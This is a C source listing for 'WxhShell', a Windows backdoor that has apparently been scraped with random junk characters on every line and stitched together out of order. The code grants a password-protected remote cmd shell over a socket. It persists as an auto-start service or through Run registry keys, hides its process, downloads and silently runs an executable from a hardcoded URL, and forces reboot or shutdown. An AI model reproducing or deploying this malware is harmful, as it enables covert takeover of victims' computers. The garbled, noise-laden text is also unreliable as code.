    if(Boot(SHUTDOWN)) NqfDY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *"bp}3$^^  
    else { Y{:/vOj  
    closesocket(wsh); [";5s&)q  
    ExitThread(0); 3B|-xq;]I  
    } cNB$g )`  
    break; $Lbe5d?\  
    } 8q LgB  
  // 获取shell _+Kt=;Y8  
  case 's': { 2g8P$+;  
    CmdShell(wsh); `G5wiyH})  
    closesocket(wsh); ;Z~.54Pf{d  
    ExitThread(0); F0(Sv\<::  
    break; 9@a;1Wr/f  
  } ~O7(0RsCN  
  // 退出 ]6[d-$#^ko  
  case 'x': { y!D`.'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -"tgEC\tD  
    CloseIt(wsh); PKs%-Uk  
    break; :NyEd<'  
    } YD.^\E4o  
  // 离开 :|mkI#P.  
  case 'q': { :pu{3-n.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %hb5C 4q  
    closesocket(wsh); RL)3k8pk  
    WSACleanup(); d*(\'6?  
    exit(1); pNWp3+a'  
    break; IbaL.t\>  
        } Z|GkM5QH:  
  } Bj[/ tQ  
  } 0e](N`  
 ;I@L  
  // 提示信息 =8 D4:Ds  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ymCIk /\  
} ~ J{{n_G{  
  } H?^#zj`Ex+  
V-r<v1}M  
  return; ~,1q :Kue  
} )t=u(:u]  
>U/g*[>  
// shell模块句柄 TAoR6aE  
int CmdShell(SOCKET sock) z$5C(!)  
{ vfDb9QP  
STARTUPINFO si; {xoo9jq-  
ZeroMemory(&si,sizeof(si)); xA E@cwg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wdV?& W+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B\&Ka<r  
PROCESS_INFORMATION ProcessInfo; u\?u4  
char cmdline[]="cmd"; eV%bJkt.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y6PA\7Y\  
  return 0; xJGeIh5  
} v('d H"Y  
rB?cm]G=  
// 自身启动模式 :vT%5CQ  
int StartFromService(void) 3) 0~:  
{ D.!7jA#  
typedef struct 04d$_1:}a  
{ Y@Y(;C"SW  
  DWORD ExitStatus; ;O11)u?/s|  
  DWORD PebBaseAddress; u.FDe2|[)  
  DWORD AffinityMask; 3:#rFb  
  DWORD BasePriority; mnj A8@1  
  ULONG UniqueProcessId; eF1%5;" W  
  ULONG InheritedFromUniqueProcessId; ljON_*  
}   PROCESS_BASIC_INFORMATION; hyoZh Y  
`{_PSzM  
PROCNTQSIP NtQueryInformationProcess; Rw 8o]  
2H "iN[2A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,quTMtk~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,?/<fxIY  
%/on\*Vh3  
  HANDLE             hProcess; mIo7 K5z{  
  PROCESS_BASIC_INFORMATION pbi; W fNMyI  
RBD MZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p2(_YN;s  
  if(NULL == hInst ) return 0; LTct0Gh  
@/FX7O{n:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1U7HS2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *)I1gR~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;P~S/j[ 8  
Q>yt O'v1  
  if (!NtQueryInformationProcess) return 0; .Tv(1HAc2l  
9#6/c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #Q7$I.O]  
  if(!hProcess) return 0; N Z`hy>LF^  
L{pg?#\yC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oy: MM  
2&URIQg*J  
  CloseHandle(hProcess); #{,IY03  
1?\Y,+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >cL2PN_y  
if(hProcess==NULL) return 0; 7k|(5P;  
@~3c;9LkY  
HMODULE hMod; 3wl>a#f  
char procName[255]; X+8p2xSO|  
unsigned long cbNeeded; o hlVc%a  
I|z#Aoc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  0 XzO`*  
-~f.>@Wb  
  CloseHandle(hProcess); Y cpO;md  
1}*;  
if(strstr(procName,"services")) return 1; // 以服务启动 jRAL(r|  
0g-ESf``{n  
  return 0; // 注册表启动 q(Q9FonU  
} 1bkUT_  
T@.D5[q0:  
// 主模块 "mK (?U!A  
int StartWxhshell(LPSTR lpCmdLine) |lV9?#!  
{ W|U1AXU7/  
  SOCKET wsl; edx'p`%d5  
BOOL val=TRUE; n`xh/vGm#  
  int port=0; E2D8s=r  
  struct sockaddr_in door; qw1J{xoHW  
qV,j)b3M  
  if(wscfg.ws_autoins) Install(); w-Fk&dC69  
GR `ncI$z  
port=atoi(lpCmdLine); 2z3A"HrlA  
f*Js= hvO  
if(port<=0) port=wscfg.ws_port; _9r{W65s  
^j}sS!p  
  WSADATA data; {m:R v&T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; / u6$M/Cf>  
<Q)}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F-0PmO~3+W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); or`stBx  
  door.sin_family = AF_INET; |'_<(z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yTiqG5r  
  door.sin_port = htons(port); g1 ,  
Uiw7Y\Im|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :X*LlN  
closesocket(wsl); i{qURP}.  
return 1; !3# }ZC2  
} ]M;! ])b$  
^MV%\0o  
  if(listen(wsl,2) == INVALID_SOCKET) { =]"|x7'!  
closesocket(wsl); ifZNl,  
return 1; Ypj)6d  
} ,$$$_+m\  
  Wxhshell(wsl); }4%)m  
  WSACleanup(); \}NWR{=  
I=a$1%BzEX  
return 0; }j*/>m  
:j4 [_9\  
} uF"`y&go  
!Jl0Eu  
// 以NT服务方式启动 e8<nP t`C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~W{h-z%q  
{ v*'\w#  
DWORD   status = 0; [S+-ovl  
  DWORD   specificError = 0xfffffff; P@`"MNS  
f om"8iL1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e}AJxBE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (OQ @!R&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4[0?F!%  
  serviceStatus.dwWin32ExitCode     = 0; j],.`Y  
  serviceStatus.dwServiceSpecificExitCode = 0; tta0sJ8 i  
  serviceStatus.dwCheckPoint       = 0; tdF[2@?+  
  serviceStatus.dwWaitHint       = 0; -$ z"74  
'PYqp&gJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w8I&:"^7<  
  if (hServiceStatusHandle==0) return; ^VPl>jTg  
)m;qv'=!  
status = GetLastError(); ABmDSV5i  
  if (status!=NO_ERROR) Uy|=A7Ad c  
{ 7#qL9+G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6FMW g:{  
    serviceStatus.dwCheckPoint       = 0; F@roQQu  
    serviceStatus.dwWaitHint       = 0; Nj&%xe>].  
    serviceStatus.dwWin32ExitCode     = status; PGl-2Cr  
    serviceStatus.dwServiceSpecificExitCode = specificError; } /3pC a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "m;]6B."  
    return; %v:h]TA  
  } K/ m)f#  
=c^=Yvc7U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WVK-dBU  
  serviceStatus.dwCheckPoint       = 0; l{m~d!w`a  
  serviceStatus.dwWaitHint       = 0; MPy][^s!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _rdj,F8  
} 0(9@GIT  
<dPxy`_  
// 处理NT服务事件,比如:启动、停止 $!C+i"q$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cY'To<v  
{ 4,ynt&  
switch(fdwControl) #gJ~ {tA:  
{ lNVAKwW2#  
case SERVICE_CONTROL_STOP: )Hm[j)YI  
  serviceStatus.dwWin32ExitCode = 0; X`QW(rq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?$4R <  
  serviceStatus.dwCheckPoint   = 0; \+Ln~\Sv  
  serviceStatus.dwWaitHint     = 0; ]Ja8i%LjOG  
  { e4%*I8 ^e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e`M]ZG rr  
  } 9Ru%E>el-  
  return; 9|A-oS  
case SERVICE_CONTROL_PAUSE: &ntP~!w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; | 8Egw-f  
  break; MYSc*G  
case SERVICE_CONTROL_CONTINUE:  )\\V s>9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h21(K}  
  break; kDl4t]j  
case SERVICE_CONTROL_INTERROGATE: 7P^{*!  
  break; mKQST ]5  
}; fB,1s}3Hn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W)msaq,  
} ~.9o{?pbG  
HmB[oH "x  
// 标准应用程序主函数 *@n3>$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1(7.V-(G  
{ 'qF3,Rw  
TKu68/\)  
// 获取操作系统版本 BRXb<M^;_  
OsIsNt=GetOsVer(); KSB_%OI1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yj7= T%5  
6aZt4Lw2\  
  // 从命令行安装 yki51rOI*  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3_*Xk. .d  
qTh='~m4[  
  // 下载执行文件 ka)LK@p6  
if(wscfg.ws_downexe) { eGe[sv"k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6 #x)W  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~73i^3yf  
} <kXV1@>  
3 [)s;e  
if(!OsIsNt) { _Z66[T+M  
// 如果时win9x,隐藏进程并且设置为注册表启动 KD"&_PX  
HideProc(); OWXye4`*  
StartWxhshell(lpCmdLine); % X ,B-h^  
} m9<%v0r  
else #+Yp^6zg  
  if(StartFromService()) Sa?5iFg  
  // 以服务方式启动 PUjoi@]  
  StartServiceCtrlDispatcher(DispatchTable); Ie&b <k  
else ]pRfY9w  
  // 普通方式启动 E?gu(\an@  
  StartWxhshell(lpCmdLine); L+~YCat|$U  
kuj1 2  
return 0; KjwY'aYwr:  
} %][$y 7  
[X">vaa  
1u"*09yZd  
2~&hstd%  
=========================================== /q"d`!h)w  
sE%<"h\_0  
}L$Xb2^l  
x !:9c<  
!` M;#  
3q|cZQK!1  
" >4|c7z4  
lKV\1(`  
#include <stdio.h> jq("D,  
#include <string.h> ,v}?{p c  
#include <windows.h> XHZ: mLf  
#include <winsock2.h> YD='M.n\  
#include <winsvc.h> Vy% :\p+  
#include <urlmon.h> wsJ%* eYf  
#mRFUA  
#pragma comment (lib, "Ws2_32.lib") ,bVS.A'o  
#pragma comment (lib, "urlmon.lib") xjK_zO*dLq  
si^4<$Nr%j  
#define MAX_USER   100 // 最大客户端连接数 iIGI=EwZ  
#define BUF_SOCK   200 // sock buffer 9o`7Kc/g  
#define KEY_BUFF   255 // 输入 buffer b$goF }b'g  
};"+ O  
#define REBOOT     0   // 重启 'Uko^R)(  
#define SHUTDOWN   1   // 关机 zD)IU_GWa  
2B9 i R  
#define DEF_PORT   5000 // 监听端口 ovDJ{3L6O  
t8DL9RW'  
#define REG_LEN     16   // 注册表键长度 Ev+HWx~Y  
#define SVC_LEN     80   // NT服务名长度 p]h*6nH>~  
`*" H/QG  
// 从dll定义API (zs4#ja2,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p2Dh3)&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); < g3du~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tf#2"(!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mWli}j#  
~&DB!6*  
// wxhshell配置信息 a/QtJwIV  
struct WSCFG { /UpD$,T|^|  
  int ws_port;         // 监听端口 ~MhgAC  
  char ws_passstr[REG_LEN]; // 口令 2JiAd*WK  
  int ws_autoins;       // 安装标记, 1=yes 0=no )+n,5W  
  char ws_regname[REG_LEN]; // 注册表键名 JQ"`9RNb  
  char ws_svcname[REG_LEN]; // 服务名 Xq,UV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BKC7kDK3H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <?LfOSdMs^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4fw1_pv_D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @e! Zc3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ':4}O#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +}7Ea:K   
>bfYy=/  
}; RIy5ww}3|  
s&dO/}3uR]  
// default Wxhshell configuration MX!u$ei  
struct WSCFG wscfg={DEF_PORT, "U% n0r2  
    "xuhuanlingzhe", axK6sIxx  
    1, AV:Xg4UJv  
    "Wxhshell", %@}o'=[  
    "Wxhshell", GOy=p3mQ  
            "WxhShell Service", t."g\;  
    "Wrsky Windows CmdShell Service", #`jE%ONC  
    "Please Input Your Password: ", jl.okWuiY  
  1, ]#Vo}CVP  
  "http://www.wrsky.com/wxhshell.exe", +Lm3vj_ N  
  "Wxhshell.exe" >=-GD2WK  
    }; h4CTTe)  
=tr1*s{  
// 消息定义模块 RzA2*]%a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K*R)V/B/l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `fBG~NDw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V$/u  
char *msg_ws_ext="\n\rExit."; Em e'Gk  
char *msg_ws_end="\n\rQuit."; Sl3KpZ  
char *msg_ws_boot="\n\rReboot..."; Gb(C#,xbK  
char *msg_ws_poff="\n\rShutdown..."; nG"tO'J6  
char *msg_ws_down="\n\rSave to "; @+'c+  
k}-yOP{  
char *msg_ws_err="\n\rErr!"; {$EH@$./  
char *msg_ws_ok="\n\rOK!"; RAIVdQ}.Z  
0a"igH}  
char ExeFile[MAX_PATH]; D JLiZS  
int nUser = 0; #TMm#?lC  
HANDLE handles[MAX_USER]; 9=t#5J#O  
int OsIsNt; N\9}\Rk@  
3iE-6udCS  
SERVICE_STATUS       serviceStatus; ^FP} qW~;9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9z5\*b s  
v5(q) h  
// 函数声明 !p }`kG  
int Install(void); H>60D|v[  
int Uninstall(void); {S[I_\3  
int DownloadFile(char *sURL, SOCKET wsh); ry.;u*F  
int Boot(int flag); +>JdYV<?0  
void HideProc(void); 9$Ig~W)  
int GetOsVer(void); h ?uqLsRl  
int Wxhshell(SOCKET wsl); 06 QU  
void TalkWithClient(void *cs); 5Z/yhF.{  
int CmdShell(SOCKET sock); 5]jx5!N  
int StartFromService(void); )O,wRd>5  
int StartWxhshell(LPSTR lpCmdLine); CF]i}xpWV  
=%!e(N'p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ePf+[pV3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7#QLtU  
OnZF6yfN=3  
// 数据结构和表定义 b,nn&B5@{  
SERVICE_TABLE_ENTRY DispatchTable[] = OE_ QInb<  
{ q`XW5VV{K  
{wscfg.ws_svcname, NTServiceMain}, 7FAIew\r  
{NULL, NULL}  l B1#  
}; p6`Pp"J_tr  
z< z*Wz  
// 自我安装 3pvYi<<D'  
int Install(void) !X^Hi=aV  
{ :6XguU  
  char svExeFile[MAX_PATH]; /\na;GI$  
  HKEY key; M70c{s`w5  
  strcpy(svExeFile,ExeFile); 94\t1fE  
XC=%H'p  
// 如果是win9x系统,修改注册表设为自启动 Y[2Wt%2\6  
if(!OsIsNt) { &e5(Djz8t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (=1)y'.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U4Z[!s$  
  RegCloseKey(key); MWiMUTZg3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _@Y"$V]=Vt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MR`:5e  
  RegCloseKey(key); 1%%'6cWWu  
  return 0; WzjL-a(  
    } yQ9ZhdQS  
  } Mtm/}I  
} pe9@N9_5  
else { oBr.S_Qe  
}^9]jSq5  
// 如果是NT以上系统,安装为系统服务 l71 gf.4g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9Gca6e3  
if (schSCManager!=0) - a y5  
{ O`WIkBV!  
  SC_HANDLE schService = CreateService L'l F/qe^  
  ( "< v\M85&  
  schSCManager, ['z!{Ez  
  wscfg.ws_svcname, n|Pr/ddL   
  wscfg.ws_svcdisp,  ?>af'o:  
  SERVICE_ALL_ACCESS, &-M]xo ^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f|U0s  
  SERVICE_AUTO_START, QdQ d(4/1  
  SERVICE_ERROR_NORMAL, f;gZ|a  
  svExeFile, 'Gjq/L/x  
  NULL, &rp!%]+xAM  
  NULL, n"6;\  
  NULL, 2#3^skj  
  NULL, v!H:^!z  
  NULL 7 {f_fkbs  
  ); [*)Z!)  
  if (schService!=0) ZPHXzi3j  
  { 6k"P&AD  
  CloseServiceHandle(schService); IS BV%^la|  
  CloseServiceHandle(schSCManager); } VEq:^o.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zk&h:c  
  strcat(svExeFile,wscfg.ws_svcname); w5*Z!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jic}+X*0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;#TaZN  
  RegCloseKey(key); \?DR s  
  return 0; RW_q~bA9  
    } 1S0pd-i  
  } 4,G w#@  
  CloseServiceHandle(schSCManager); +R6a}d/K  
} 3$VxRz)  
} X<]qU3k5  
M"{uX  
return 1; QK; T~ _k  
} 0)|Q6*E>  
w%dL 8k  
// 自我卸载 >`'O7.R  
int Uninstall(void) 1tB[_$s  
{ BByCM Y  
  HKEY key; fr[3:2g-_  
r[_4Lo @G  
if(!OsIsNt) { "CQw/qZw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Ps% M|8~  
  RegDeleteValue(key,wscfg.ws_regname); [mUBHYD7OI  
  RegCloseKey(key); y#v"GblM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { at|g%$%  
  RegDeleteValue(key,wscfg.ws_regname); 6_gnEve h  
  RegCloseKey(key); 15{Y9!  
  return 0; GKiukX$'  
  } v>A=2i*j  
} 4 o(bxs"  
} Q7gY3flg  
else { 9!U@"~yB  
-?6MU~"GK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~]'pY  
if (schSCManager!=0) U7iuY~L  
{ I]nHbghcW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w,1Ii}d9  
  if (schService!=0) }P9Ap3?  
  { 1mH%H*#  
  if(DeleteService(schService)!=0) { R}:KE&tq  
  CloseServiceHandle(schService); !}KqB8;  
  CloseServiceHandle(schSCManager); )US:.7A[.  
  return 0; 2+o |A  
  } &|Pu-A"5~  
  CloseServiceHandle(schService); R?66b{O  
  } DJ@|QQ  
  CloseServiceHandle(schSCManager); wmU0E/{9]  
} xSK~s  
} }fR,5|~X  
nZy X_J,Vd  
return 1; sC"}8+[)S3  
} %XTcP2pRJ  
2Y!S_Hw8  
// 从指定url下载文件 ?!VIS>C(  
int DownloadFile(char *sURL, SOCKET wsh) v$wBxCY  
{ q<#>HjC  
  HRESULT hr; vuQ%dDxI  
char seps[]= "/"; -e u]:4  
char *token; &~e$:8 +  
char *file; 27F~(!n  
char myURL[MAX_PATH]; Yw; D:Y(  
char myFILE[MAX_PATH]; 5 BtX63  
_-~`03 `!  
strcpy(myURL,sURL); a`(a)9i  
  token=strtok(myURL,seps); LjB;;&VCn  
  while(token!=NULL) !T,AdNa8  
  { [&?8,Q(  
    file=token; 8>WVodv  
  token=strtok(NULL,seps); v%{.A)  
  } 8qEK+yi,  
WQNE2Q  
GetCurrentDirectory(MAX_PATH,myFILE); US [dkbKo  
strcat(myFILE, "\\"); ]iNEw9  
strcat(myFILE, file); LPYbHo3fq  
  send(wsh,myFILE,strlen(myFILE),0); E\nv~Y?SG  
send(wsh,"...",3,0); X>YsQrK(ig  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JwnQ0 e  
  if(hr==S_OK) t*<#<a  
return 0; 4 1a. #o  
else CSPKP#,B0[  
return 1; F}GPZ=T;  
YC_5YY(k  
} !QI\Fz?  
:!a 2]-D}  
// 系统电源模块 '})0!g<Y  
int Boot(int flag) P|tNL}2`;  
{ `+:.L>5([  
  HANDLE hToken; wa=uUM_4u^  
  TOKEN_PRIVILEGES tkp; 3@Z#.FV~C[  
#@@Mxr'F  
  if(OsIsNt) { 0Uk@\[1ox  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jOpcV|2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 73#x|lY  
    tkp.PrivilegeCount = 1; me6OPc;:!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z@Q@^ &0Mr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vm}%ttTC  
if(flag==REBOOT) { #rO8Kf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XdLCbY  
  return 0; #GDe0 8rOw  
} ,#d? _?/:O  
else { ~=<}\a~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rNjn~c  
  return 0; e!Y0-=?nf#  
} B+C);WQ,  
  } 8}X5o]Mv  
  else { uXDq~`S  
if(flag==REBOOT) { g,o?q:FL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '0y9MXRT  
  return 0; "<_0A f]  
} iRg7*MQu  
else { =[\s8XH,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A1P K  
  return 0; r:&` $8$  
} 53-v|'9'  
} ;z M*bWh9  
r<F hY  
return 1; R8rfM?"W  
} \0lnxLA  
*BuUHjTv  
// win9x进程隐藏模块 @/ZF` :   
void HideProc(void) J_Ltuso  
{ #ET/ =  
8]4U`\k4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 63`{.yZ*z  
  if ( hKernel != NULL ) V-n&oCS+f  
  { SS`qJZ|w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F:y[@Yn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F":r4`5D"K  
    FreeLibrary(hKernel); .q&'&~!_  
  } k+I}PuG  
!RyO\>:q  
return; \#o2\!@`  
} /%_OW@ ?  
'13ZX:  
// 获取操作系统版本 ) ri}nL.  
int GetOsVer(void) p.+ho~sC,.  
{ bAKiq}xG%i  
  OSVERSIONINFO winfo; &Ysosy*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .9md~j:o^s  
  GetVersionEx(&winfo); :Mm3 gW)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O6IB. >T  
  return 1; '* \|; l#1  
  else cUTE$/#s  
  return 0; |t; ~:A  
} >#,G}xf  
6s0_#wZC  
// 客户端句柄模块 atXS-bg*  
int Wxhshell(SOCKET wsl) Qs9gTBS;  
{ hs tbz  
  SOCKET wsh; ~T) Q$  
  struct sockaddr_in client; [<'-yQ{l\  
  DWORD myID; V& C/Z}\  
Q{B}ef  
  while(nUser<MAX_USER) A^q[N  
{ }$bF 5&  
  int nSize=sizeof(client); <dW]\h?)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %W@v2  
  if(wsh==INVALID_SOCKET) return 1; sKlDu  
BD`2l!d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?nP*\8  
if(handles[nUser]==0) (' -JY  
  closesocket(wsh); ;FZ@:%qDm  
else Sm~l:v0%  
  nUser++; 5|jw^s7  
  } )T;?^kho  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +la2n(CAK  
B'^:'uG  
  return 0; P(t[ eXe  
} tK&' <tZh  
H,N)4;F<c  
// 关闭 socket nu'M 39{  
void CloseIt(SOCKET wsh) me OMq1  
{ 4.IU!.Uo  
closesocket(wsh); Bdj%hyW  
nUser--; bQ~j=\[r  
ExitThread(0); sg+uBCGB  
} }1>[  
2(/g}  
// 客户端请求句柄 i+gQE!  
void TalkWithClient(void *cs) 3E 3HL7  
{ ,\qs4&  
;]_o4e6\p  
  SOCKET wsh=(SOCKET)cs; ?.D3'qv  
  char pwd[SVC_LEN]; ?s:d[To6  
  char cmd[KEY_BUFF]; 44-R!  
char chr[1]; <vXGi  
int i,j; 8P=o4lO+  
F^hBtfz  
  while (nUser < MAX_USER) { W"Gkq!3u{  
}g4 M2|  
if(wscfg.ws_passstr) { H<^/Ati,|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <n(*Xak{a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }[M`uZ  
  //ZeroMemory(pwd,KEY_BUFF); :UQTEdc{  
      i=0; RIIitgV_  
  while(i<SVC_LEN) { g55`A`5%C  
h[PYP5{L  
  // 设置超时 }fKSqB]T-  
  fd_set FdRead;  =|9H  
  struct timeval TimeOut; C:Hoq(  
  FD_ZERO(&FdRead); Zfyo-Wk  
  FD_SET(wsh,&FdRead); qG<$Ajiin  
  TimeOut.tv_sec=8; 6oBfB8]:d  
  TimeOut.tv_usec=0; !ET~KL!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [ :zO}r:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )KP5Wud X  
@r?Uua  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [o?* "c  
  pwd=chr[0]; p1vp 8p  
  if(chr[0]==0xd || chr[0]==0xa) { bR V+>;L0@  
  pwd=0; @'|)~,"bx  
  break; |O"lNUW   
  } `\+@Fwfx  
  i++; ~V$ |i"  
    } \|K;-pL  
Uf,4  
  // 如果是非法用户,关闭 socket c 9jGq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ibuWb"a  
} Q9Q|lO  
$]8h $  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $jg*pmR-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;INW`b~  
AZmb!}m+d  
while(1) { 435;Vns\n  
7PkJ-JBA  
  ZeroMemory(cmd,KEY_BUFF); ]niJG t  
2z|*xS'G  
      // 自动支持客户端 telnet标准   &o<F7U'R  
  j=0; /r=tI)'$  
  while(j<KEY_BUFF) { ~ {Mn{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KG=h&  
  cmd[j]=chr[0]; /RMPS. d {  
  if(chr[0]==0xa || chr[0]==0xd) { `(3/$%  
  cmd[j]=0; SI=yI-  
  break; P><o,s"v  
  } +-G<c6 |  
  j++; wR^R M(1  
    } ldp%{"ZZ  
L@gWzC~?Q  
  // 下载文件 LU9A#  
  if(strstr(cmd,"http://")) { "70WUx(\t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G8;w{-{m  
  if(DownloadFile(cmd,wsh)) S*n@81Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *f?4   
  else u{*SX k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R%'^gFk 8  
